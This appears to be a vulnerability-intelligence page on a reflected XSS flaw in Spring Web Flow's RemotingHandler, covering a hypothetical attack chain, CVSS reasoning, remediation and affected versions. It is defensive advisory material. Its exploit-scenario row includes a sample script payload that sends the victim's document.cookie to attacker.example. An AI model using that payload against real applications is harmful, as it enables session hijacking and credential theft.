Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
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AccessAuthenticate with low-privilege application account
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DeliveryIdentify RemotingHandler endpoint with reflected error output
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ExploitCraft request parameter embedding script payload
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ExecutionSubmit request triggering server-side error
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PersistRemotingHandler renders error body as HTML in victim browser
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ImpactInjected script executes, exfiltrating session credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation specifically requires that the target application uses Spring Web Flow's JavaScript RemotingHandler component - applications that do not use this remoting feature are not affected. Additionally, the server must reflect attacker-controlled input content within error response bodies returned through the RemotingHandler (e.g., validation messages, exception details, or parameter echoing in error output). The CVSS vector confirms PR:L: at minimum, low-privilege authenticated access to the application is required, ruling out unauthenticated exploitation. UI:R confirms a victim user must be present and interact with the application flow for the injected script to execute in their browser context. AC:H limits exploitation to scenarios where the attacker can reliably engineer the reflected-error condition. Exploitation is further limited to the specific affected versions (2.5.0-2.5.1, 3.0.0-3.0.1, 4.0.0); deployments on other versions or those that do not expose RemotingHandler endpoints are not vulnerable. |
| Impact | The vendor-assigned CVSS 3.1 score of 4.8 (Medium) with vector AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N accurately captures several meaningful constraints. High Attack Complexity (AC:H) reflects the requirement that the attacker must specifically engineer a scenario where controlled input surfaces in a server-side error response routed through the RemotingHandler. Low Privileges Required (PR:L) confirms that some level of authenticated access to the application is necessary. Required User Interaction (UI:R) means a victim must be present and interact with the targeted flow. Scope Unchanged (S:U) limits the blast radius to the user's current session context. No EPSS score was provided in available intelligence, so exploitation probability cannot be quantified. There is no CISA KEV listing and no known public proof-of-concept, making this a low-urgency finding in practice despite the High integrity impact rating. The High integrity impact (I:H) is justified because successful script injection can result in full session hijacking, credential theft, or unauthorized actions on behalf of the victim - but only under the enumerated preconditions. This is not a fire-drill vulnerability; teams should patch on a routine cycle rather than an emergency timeline. |
| Exploit ScenarioDerived | An authenticated low-privilege user submits a crafted request to a Spring Web Flow RemotingHandler endpoint with a parameter value containing an HTML script payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) that the server reflects verbatim in an error response body. The RemotingHandler renders this body as HTML in the victim's browser, executing the script and transmitting the victim's session cookie to an attacker-controlled endpoint. No public proof-of-concept code has been identified at time of analysis, but the attack pattern is straightforward for anyone familiar with reflected XSS techniques. |
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Alert meAnalysisAIv1 – Jun 11, 2026
Reflected XSS in Spring Web Flow's JavaScript RemotingHandler allows an authenticated attacker to inject and execute arbitrary scripts in a victim's browser by embedding malicious content in input that the server reflects within error response bodies. The RemotingHandler renders these error bodies as HTML regardless of the declared Content-Type, bypassing MIME-type enforcement. Affected versions span the 2.5.x, 3.0.x, and 4.0.0 release lines; no public exploit code has been identified at time of analysis and the vulnerability is not listed in CISA KEV.
RemediationAI
The primary remediation is to apply the vendor-released patch documented in the Spring security advisory at https://spring.io/security/cve-2026-40986; the exact fixed version number is not present in available intelligence and must be confirmed directly from that advisory before upgrading. As a compensating control while patching is scheduled, deploy a Content Security Policy (CSP) response header (e.g., default-src 'self'; script-src 'self') to block inline script execution in the browser - note this may require updating application JavaScript to eliminate inline handlers and eval() usage, which carries development overhead. Additionally, configure server-side output encoding for any user-supplied data that may appear in error messages returned by RemotingHandler endpoints; Spring's HtmlUtils.htmlEscape() or equivalent can be applied at the error-generation layer. Restricting authenticated access to RemotingHandler endpoints to the minimum necessary user population reduces the attacker pool consistent with PR:L.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Spring Web Flow is a Spring Framework extension for orchestrating multi-step stateful web workflows. Its JavaScript RemotingHandler provides server-side AJAX/remoting support for workflow transitions triggered by browser-side JavaScript. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting): the handler fails to enforce content-type boundaries when constructing error responses, treating the response body as renderable HTML in the browser even when the HTTP Content-Type header declares a non-HTML media type. If server-generated error details echo back attacker-controlled input (e.g., from form fields, path parameters, or query strings that surface in exception or validation messages), that content is injected into the DOM without sanitization. The CPE cpe:2.3:a:spring:spring_web_flow:*:*:*:*:*:*:*:* covers the Spring Web Flow component published by the Spring (VMware/Broadcom) project.
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Severity by source
AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N
Network-reachable RemotingHandler requires low-privilege auth (PR:L), attacker must engineer reflected error content (AC:H), victim interaction required (UI:R); XSS yields integrity-only impact with no confidentiality or availability consequence.
Primary rating from Vendor (vmware).
CVSS VectorVendor: vmware
Lifecycle Timeline
1DescriptionCVE.org
Spring Web Flow's JavaScript RemotingHandler renders the body of an error response as HTML even when the response is not "text/html", which can result in a scripting attack in the user's browser if the error response from the server contains error details with input reflected from an attacker.
Affected versions: Spring Web Flow 4.0.0; 3.0.0 through 3.0.1; 2.5.0 through 2.5.1.
Blast Radius
ecosystem impact- 421 maven packages depend on org.springframework.webflow:spring-webflow (421 direct, 0 indirect)
Ecosystem-wide dependent count for version 4.0.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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EUVD-2026-36201
GHSA-hw5c-xm3c-v96w
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB